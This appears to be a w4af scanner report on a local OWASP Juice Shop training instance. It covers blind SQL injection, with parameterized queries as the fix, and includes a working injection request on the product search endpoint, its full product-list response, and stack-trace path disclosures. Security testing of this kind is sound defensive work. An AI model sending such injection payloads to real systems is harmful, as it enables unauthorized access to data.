Due to the requirement for dynamic content of today's web applications, many rely on a database backend to store data that will be called upon and processed by the web application (or other programs). Web applications retrieve data from the database by using Structured Query Language (SQL) queries.
To meet demands of many developers, database servers (such as MSSQL, MySQL, Oracle etc.) have additional built-in functionality that can allow extensive control of the database and interaction with the host operating system itself. An SQL injection occurs when a value originating from the client's request is used within a SQL query without prior sanitisation. This could allow cyber-criminals to execute arbitrary SQL code and steal data or use the additional functionality of the database server to take control of more server components.
The successful exploitation of a SQL injection can be devastating to an organisation and is one of the most commonly exploited web application vulnerabilities.
Injection was detected as it was possible to inject specific SQL queries, that if vulnerable, result in the responses for each injection being different. This is known as a blind SQL injection vulnerability.
qThe only proven method to prevent against SQL injection attacks while still maintaining full application functionality is to use parameterized queries (also known as prepared statements). When utilising this method of querying the database, any value supplied by the client will be handled as a string value rather than part of the SQL query.
Additionally, when utilising parameterized queries, the database engine will automatically check to make sure the string being used matches that of the column. For example, the database engine will check that the user supplied input is an integer if the database column is configured to contain integers.
GET http://localhost:3000/rest/products/search?q=89%22%20OR%20%2289%22%3D%2289%22%20OR%20%2289%22%3D%2289 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"325f-bB6A2ReyRoArta49QDsMgbgK4U0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:56 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg","createdAt":"2024-03-05 22:20:44.839 +00:00","updatedAt":"2024-03-05 22:20:44.839 +00:00","deletedAt":null},{"id":24,"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\\"/#recycle\\">sent back to us</a> for recycling.","price":0.89,"deluxePrice":0.89,"image":"apple_pressings.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":6,"name":"Banana Juice (1000ml)","description":"Monkeys love it the most.","price":1.99,"deluxePrice":1.99,"image":"banana_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":42,"name":"Best Juice Shop Salesman Artwork","description":"Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before <em>finally</em> adding his expertise to the Juice Shop marketing team.","price":5000,"deluxePrice":5000,"image":"artwork2.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":30,"name":"Carrot Juice (1000ml)","description":"As the old German saying goes: \\"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\\"","price":2.99,"deluxePrice":2.99,"image":"carrot_juice.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":3,"name":"Eggfruit Juice (500ml)","description":"Now with even more exotic flavour.","price":8.99,"deluxePrice":8.99,"image":"eggfruit_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":25,"name":"Fruit Press","description":"Fruits go in. Juice comes out. Pomace you can send back to us for recycling purposes.","price":89.99,"deluxePrice":89.99,"image":"fruit_press.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":22,"name":"Green Smoothie","description":"Looks poisonous but is actually very good for your health! Made from green cabbage, spinach, kiwi and grass.","price":1.99,"deluxePrice":1.99,"image":"green_smoothie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":41,"name":"Juice Shop \\"Permafrost\\" 2020 Edition","description":"Exact version of <a href=\\"https://github.com/juice-shop/juice-shop/releases/tag/v9.3.1-PERMAFROST\\">OWASP Juice Shop that was archived on 02/02/2020</a> by the GitHub Archive Program and ultimately went into the <a href=\\"https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic\\">Arctic Code Vault</a> on July 8. 2020 where it will be safely stored for at least 1000 years.","price":9999.99,"deluxePrice":9999.99,"image":"permafrost.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":5,"name":"Lemon Juice (500ml)","description":"Sour but full of vitamins.","price":2.99,"deluxePrice":1.99,"image":"lemon_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":33,"name":"Melon Bike (Comeback-Product 2018 Edition)","description":"The wheels of this bicycle are made from real water melons. You might not want to ride it up/down the curb too hard.","price":2999,"deluxePrice":2999,"image":"melon_bike.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":38,"name":"OWASP Juice Shop \\"King of the Hill\\" Facemask","description":"Facemask with compartment for filter from 50% cotton and 50% polyester.","price":13.49,"deluxePrice":13.49,"image":"fan_facemask.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":8,"name":"OWASP Juice Shop CTF Girlie-Shirt","description":"For serious Capture-the-Flag heroines only!","price":22.49,"deluxePrice":22.49,"image":"fan_girlie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":43,"name":"OWASP Juice Shop Card (non-foil)","description":"Mythic rare <small><em>(obviously...)</em></small> card \\"OWASP Juice Shop\\" with three distinctly useful abilities. Alpha printing, mint condition. A true collectors piece to own!","price":1000,"deluxePrice":1000,"image":"card_alpha.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":34,"name":"OWASP Juice Shop Coaster (10pcs)","description":"Our 95mm circle coasters are printed in full color and made from thick, premium coaster board.","price":19.99,"deluxePrice":19.99,"image":"coaster.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":37,"name":"OWASP Juice Shop Holographic Sticker","description":"Die-cut holographic sticker. Stand out from those 08/15-sticker-covered laptops with this shiny beacon of 80\'s coolness!","price":2,"deluxePrice":2,"image":"holo_sticker.png","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":19,"name":"OWASP Juice Shop Hoodie","description":"Mr. Robot-style apparel. But in black. And with logo.","price":49.99,"deluxePrice":49.99,"image":"fan_hoodie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":13,"name":"OWASP Juice Shop Iron-Ons (16pcs)","description":"Upgrade your clothes with washer safe <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">iron-ons</a> of the OWASP Juice Shop or CTF Extension logo!","price":14.99,"deluxePrice":14.99,"image":"iron-on.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":26,"name":"OWASP Juice Shop Logo (3D-printed)","description":"This rare item was designed and handcrafted in Sweden. This is why it is so incredibly expensive despite its complete lack of purpose.","price":99.99,"deluxePrice":99.99,"image":"3d_keychain.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":14,"name":"OWASP Juice Shop Magnets (16pcs)","description":"Your fridge will be even cooler with these OWASP Juice Shop or CTF Extension logo <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">magnets</a>!","price":15.99,"deluxePrice":15.99,"image":"magnets.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":18,"name":"OWASP Juice Shop Mug","description":"Black mug with regular logo on one side and CTF logo on the other! Your colleagues will envy you!","price":21.99,"deluxePrice":21.99,"image":"fan_mug.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":15,"name":"OWASP Juice Shop Sticker Page","description":"Massive decoration opportunities with these OWASP Juice Shop or CTF Extension <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker pages</a>! Each page has 16 stickers on it.","price":9.99,"deluxePrice":9.99,"image":"sticker_page.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":16,"name":"OWASP Juice Shop Sticker Single","description":"Super high-quality vinyl <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker single</a> with the OWASP Juice Shop or CTF Extension logo! The ultimate laptop decal!","price":4.99,"deluxePrice":4.99,"image":"sticker_single.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":7,"name":"OWASP Juice Shop T-Shirt","description":"Real fans wear it 24/7!","price":22.49,"deluxePrice":22.49,"image":"fan_shirt.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":17,"name":"OWASP Juice Shop Temporary Tattoos (16pcs)","description":"Get one of these <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">temporary tattoos</a> to proudly wear the OWASP Juice Shop or CTF Extension logo on your skin! If you tweet a photo of yourself with the tattoo, you get a couple of our stickers for free! Please mention <a href=\\"https://twitter.com/owasp_juiceshop\\" target=\\"_blank\\"><code>@owasp_juiceshop</code></a> in your tweet!","price":14.99,"deluxePrice":14.99,"image":"tattoo.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":20,"name":"OWASP Juice Shop-CTF Velcro Patch","description":"4x3.5\\" embroidered patch with velcro backside. The ultimate decal for every tactical bag or backpack!","price":2.92,"deluxePrice":2.92,"image":"velcro-patch.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":9,"name":"OWASP SSL Advanced Forensic Tool (O-Saft)","description":"O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations. <a href=\\"https://www.owasp.org/index.php/O-Saft\\" target=\\"_blank\\">More...</a>","price":0.01,"deluxePrice":0.01,"image":"orange_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":36,"name":"OWASP Snakes and Ladders - Mobile Apps","description":"This amazing mobile app security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1970691216\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"deluxePrice":0.01,"image":"snakes_ladders_m.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":35,"name":"OWASP Snakes and Ladders - Web Applications","description":"This amazing web application security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1969196030\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"deluxePrice":0.01,"image":"snakes_ladders.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":2,"name":"Orange Juice (1000ml)","description":"Made from oranges hand-picked by Uncle Dittmeyer.","price":2.99,"deluxePrice":2.49,"image":"orange_juice.jpg","createdAt":"2024-03-05 22:20:44.839 +00:00","updatedAt":"2024-03-05 22:20:44.839 +00:00","deletedAt":null},{"id":32,"name":"Pwning OWASP Juice Shop","description":"<em>The official Companion Guide</em> by Bj\xc3\xb6rn Kimminich available <a href=\\"https://leanpub.com/juice-shop\\">for free on LeanPub</a> and also <a href=\\"https://pwning.owasp-juice.shop\\">readable online</a>!","price":5.99,"deluxePrice":5.99,"image":"cover_small.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":23,"name":"Quince Juice (1000ml)","description":"Juice of the <em>Cydonia oblonga</em> fruit. Not exactly sweet but rich in Vitamin C.","price":4.99,"deluxePrice":4.99,"image":"quince.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":4,"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"deluxePrice":4.99,"image":"raspberry_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":29,"name":"Strawberry Juice (500ml)","description":"Sweet & tasty!","price":3.99,"deluxePrice":3.99,"image":"strawberry_juice.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":21,"name":"Woodruff Syrup \\"Forest Master X-Treme\\"","description":"Harvested and manufactured in the Black Forest, Germany. Can cause hyperactive behavior in children. Can cause permanent green tongue when consumed undiluted.","price":6.99,"deluxePrice":6.99,"image":"woodruff_syrup.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null}]}'
GET http://localhost:3000/rest/products/search?q=89%22%20OR%20%2289%22%3D%2289%22%20OR%20%2289%22%3D%2289 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 30\r\nETag: W/"1e-JkPcI+pGj7BBTxOuZTVVIm91zaY"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"status":"success","data":[]}'
The URL: "http://localhost:3000/redirect" has a path disclosure vulnerability which discloses "/home/kali/Scanners/juice-shop/build/lib/insecurity.js". This vulnerability was found in the request with id 22215.
GET http://localhost:3000/redirect HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:50:53 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>TypeError: Cannot read properties of undefined (reading 'includes')</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> TypeError: Cannot read properties of undefined (reading 'includes')</h2>\n <ul id="stacktrace"><li> at Object.isRedirectAllowed (/home/kali/Scanners/juice-shop/build/lib/insecurity.js:149:34)</li><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:14:22</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li></ul>\n </div>\n </body>\n</html>\n'
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/rest/user/DmRyY". This information was found in the request with id 65298.
GET http://localhost:3000/rest/user/DmRyY HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:15 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/user/DmRyY</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/user/DmRyY</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/rest/captcha/bmeon". This information was found in the request with id 65306.
GET http://localhost:3000/rest/captcha/bmeon HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:17 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/captcha/bmeon</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/captcha/bmeon</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
The resource: "http://localhost:3000/api/Feedbacks/vOOQe" requires authentication (HTTP Code 401) but the www-authenticate header is not present. This requires human verification. This information was found in the request with id 65389.
PUT http://localhost:3000/api/Feedbacks/vOOQe HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* AZUCh6
b"HTTP/1.1 401 Unauthorized\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:56:19 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>UnauthorizedError: No Authorization header was found</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>401</em> UnauthorizedError: No Authorization header was found</h2>\n <ul id="stacktrace"></ul>\n </div>\n </body>\n</html>\n'
The remote web server sent 1 HTTP responses with the uncommon response status code 405 using "Method Not Allowed" as message. The first ten URLs which sent the uncommon status code are: - http://localhost:3000/ftp/SHSuH
The server responded with a strange HTTP status code. This is a non-issue however exotic HTTP response status codes can provide useful insights into the behavior of the web application and assist with the information security analysis.
